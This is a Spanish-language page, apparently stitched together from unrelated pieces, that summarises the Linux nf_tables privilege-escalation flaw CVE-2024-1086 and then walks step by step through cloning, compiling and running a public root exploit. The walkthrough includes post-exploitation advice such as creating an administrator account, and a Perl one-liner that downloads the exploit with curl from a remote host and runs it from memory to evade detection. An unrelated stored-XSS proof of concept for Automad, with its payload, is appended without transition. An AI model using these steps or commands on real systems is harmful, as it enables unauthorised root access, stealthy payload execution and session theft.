- 🛡️ Vulnerabilidad modificada: Esta CVE ha sido modificada desde el último análisis por el NVD y está a la espera de una reevaluación que podría cambiar la información proporcionada.
- 🐛 Descripción: Vulnerabilidad de uso después de liberar en el componente nf_tables del kernel de Linux, permitiendo escalada de privilegios local.
- 📈 Severidad: Afecta a la función nft_verdict_init() al permitir valores positivos como error de caída en el veredicto del gancho, lo que puede causar una vulnerabilidad de doble liberación al emitir NF_DROP con un error de caída similar a NF_ACCEPT.
El CVE-2024-1086 es una vulnerabilidad de escalada de privilegios que afecta a las implementaciones de Linux nf_tables
. Aquí tienes un resumen sobre la vulnerabilidad y cómo se explota:
Descripción de CVE-2024-1086
- Nombre: CVE-2024-1086
- Descripción: Esta vulnerabilidad permite a un atacante elevar sus privilegios explotando una debilidad en
nf_tables
, una parte del subsistema de filtrado de paquetes en Linux. - Impacto: Escalada de privilegios, lo que significa que un usuario no autorizado podría obtener privilegios de administrador (root) en el sistema afectado.
¿Qué es nf_tables
?
nf_tables
es una parte del subsistema de filtrado de paquetes Netfilter de Linux, utilizada para la gestión de reglas de firewall y la manipulación de paquetes de red.
Explotación
- Acceso inicial: Un atacante necesita acceso al sistema como un usuario normal.
- Aprovechamiento de la vulnerabilidad: Mediante la explotación de
nf_tables
, el atacante puede manipular ciertas estructuras en la memoria del kernel. - Elevación de privilegios: La manipulación exitosa permite al atacante ejecutar código con privilegios de administrador, escalando así sus privilegios.
Medidas de mitigación
- Actualización: La mejor manera de mitigar esta vulnerabilidad es aplicar parches de seguridad proporcionados por los mantenedores del kernel de Linux.
- Configuración de seguridad: Restringir el acceso a funciones de
nf_tables
solo a usuarios de confianza y utilizar configuraciones de seguridad adicionales como SELinux o AppArmor. - Monitorización: Implementar herramientas de monitoreo para detectar actividades sospechosas que puedan indicar un intento de explotación de esta vulnerabilidad.
Recursos adicionales
- Boletines de seguridad: Revisa los boletines de seguridad del kernel de Linux para obtener detalles sobre parches y actualizaciones.
- Comunidades de seguridad: Participar en comunidades de seguridad y foros para mantenerse informado sobre las últimas noticias y métodos de mitigación relacionados con CVE-2024-1086.
Esta vulnerabilidad destaca la importancia de mantener el software actualizado y de implementar buenas prácticas de seguridad en los sistemas.
https://github.com/Notselwyn/CVE-2024-1086
El repositorio de GitHub que mencionado contiene un exploit para la vulnerabilidad CVE-2024-1086. A continuación, te explico el paso a paso de cómo utilizar este exploit según la información proporcionada en el repositorio:
Paso a Paso para Exploitar CVE-2024-1086
1. Clonar el Repositorio
Abre una terminal en tu sistema y clona el repositorio:
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
2. Revisar los Archivos del Exploit
Verifica los archivos dentro del repositorio para entender su estructura y contenido:
ls
3. Compilar el Exploit
Muchos exploits requieren compilación antes de ser ejecutados. Si hay un archivo Makefile o instrucciones de compilación, sigue esos pasos. Por ejemplo:
make
Si no hay un Makefile, pero hay un archivo de código fuente (por ejemplo, exploit.c
), puedes compilarlo manualmente:
gcc -o exploit exploit.c
4. Preparar el Entorno
Antes de ejecutar el exploit, asegúrate de que el entorno sea adecuado para la explotación. Esto podría incluir la verificación de la versión del kernel y otras configuraciones específicas:
uname -r
Confirma que la versión del kernel sea vulnerable según lo descrito en la documentación del exploit.
5. Ejecutar el Exploit
Ejecuta el exploit compilado. La ejecución puede requerir permisos específicos (por ejemplo, como usuario normal):
./exploit
6. Verificar el Escalado de Privilegios
Si el exploit es exitoso, deberías obtener una shell con privilegios elevados. Puedes verificar esto con el siguiente comando:
id
Este comando debería mostrar que tienes privilegios de root (uid=0
).
7. Post-Explotación
Una vez obtenidos los privilegios elevados, puedes realizar acciones adicionales como:
- Crear una cuenta de usuario con privilegios de administrador.
- Modificar configuraciones del sistema.
- Instalar o ejecutar herramientas adicionales.
Notas Importantes
- Ética y Legalidad: Utilizar exploits sin autorización es ilegal y poco ético. Asegúrate de tener permiso explícito para probar la vulnerabilidad en el sistema objetivo.
- Seguridad Personal: Ejecutar exploits puede dañar el sistema. Realiza pruebas en un entorno controlado y no en sistemas de producción.
Repositorio de GitHub
Para más detalles, revisa la documentación y los comentarios en el código del repositorio de GitHub:
https://github.com/Notselwyn/CVE-2024-1086
Affected Versions
El exploit afecta a versiones desde (incluyendo) v5.14 hasta (incluyendo) v6.6, excluyendo ramas parcheadas v5.15.149>, v6.1.76>, v6.6.15>. El parche para estas versiones fue lanzado en febrero de 2024. La vulnerabilidad subyacente afecta a todas las versiones (excluyendo ramas estables parcheadas) desde v3.15 hasta v6.8-rc1.
Advertencias
- Compatibilidad con versiones específicas:
- El exploit no funciona en kernels v6.4> con la configuración kconfig
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y
(incluyendo Ubuntu v6.5). - El exploit requiere namespaces de usuario (kconfig
CONFIG_USER_NS=y
), que esos namespaces de usuario sean no privilegiados (sysctl kernel.unprivileged_userns_clone = 1
), y quenf_tables
esté habilitado (kconfigCONFIG_NF_TABLES=y
). Por defecto, esto está habilitado en Debian, Ubuntu y KernelCTF. Otras distribuciones no han sido probadas, pero podrían funcionar.
- Estabilidad del exploit:
- El exploit puede ser muy inestable en sistemas con mucha actividad de red.
- Los sistemas con adaptadores WiFi, cuando están rodeados de redes WiFi de alto uso, serán muy inestables.
- En dispositivos de prueba, desactiva los adaptadores WiFi a través del BIOS.
- Comportamiento después de la ejecución:
- El kernel panic (crash del sistema) después de ejecutar el exploit es un efecto secundario que no se ha solucionado deliberadamente para evitar el uso malicioso del exploit (es decir, los intentos de explotación deberían ser más notorios e imprácticos en operaciones del mundo real). A pesar de esto, sigue permitiendo una prueba de concepto funcional en entornos de laboratorio, ya que la shell root es funcional y la persistencia a través del disco es posible.
Uso
Configuración
Los valores predeterminados deberían funcionar en Debian, Ubuntu y KernelCTF con una shell local. En configuraciones/distribuciones no probadas, asegúrate de que los valores kconfig coincidan con el kernel objetivo. Estos pueden especificarse en src/config.h
. Si ejecutas el exploit en una máquina con más de 32GiB de memoria física, asegúrate de aumentar CONFIG_PHYS_MEM
. Si ejecutas el exploit sobre SSH (en la máquina de prueba) o una shell inversa, es posible que desees activar CONFIG_REDIRECT_LOG
a 1 para evitar actividad de red innecesaria.
Compilación
Si esto no es práctico para ti, hay un binario x64 compilado con la configuración predeterminada.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
El binario se encuentra en: CVE-2024-1086/exploit
Ejecución
Ejecutar el exploit es igual de sencillo:
./exploit
La ejecución sin archivos también es compatible, en caso de situaciones de pentest donde sea necesario evitar detecciones. Sin embargo, Perl debe estar instalado en el objetivo:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Disclaimer
Los programas y scripts (“programas”) en este directorio/carpeta/repositorio de software (“repositorio”) se publican, desarrollan y distribuyen solo con fines educativos/de investigación. Yo (“el creador”) no condono ningún uso malicioso o ilegal de los programas en este repositorio, ya que la intención es compartir investigaciones y no realizar actividades ilegales con ellos. No soy legalmente responsable de nada de lo que hagas con los programas en este repositorio.
- 📅 Fecha del exploit: 20-06-2024
- 👤 Autor del exploit: Jerry Thomas (w3bn00b3r)
- 🏠 Página del proveedor: Automad
- 🔗 Enlace del software: GitHub
- 🗂 Categoría: Aplicación web (Flat File CMS)
- 🔢 Versión: 2.0.0-alpha.4
- 🖥 Probado en: Docker versión 26.1.4, Debian GNU/Linux 11 (Bullseye)
Descripción
- ⚠️ Vulnerabilidad: XSS persistente en Automad 2.0.0-alpha.4.
- 🛠 Impacto: Permite a un atacante inyectar código JavaScript malicioso en el cuerpo de la plantilla.
- 🎯 Consecuencias: Secuestro de sesión, robo de datos y otras actividades maliciosas.
Prueba de concepto
- 🔑 Paso 1: Iniciar sesión como administrador y navegar a
http://localhost/dashboard/home
. - 📄 Paso 2: Editar la página de bienvenida predeterminada.
- 📝 Paso 3: Ir a la pestaña de contenido o
http://localhost/dashboard/page?url=%2F§ion=text
y editar el bloque llamado “Main”. - 💻 Paso 4: Ingresar el payload XSS –
<img src=x onerror=alert(1)>
. - 🔄 Paso 5: El XSS se activa al visitar la página principal
http://localhost/
.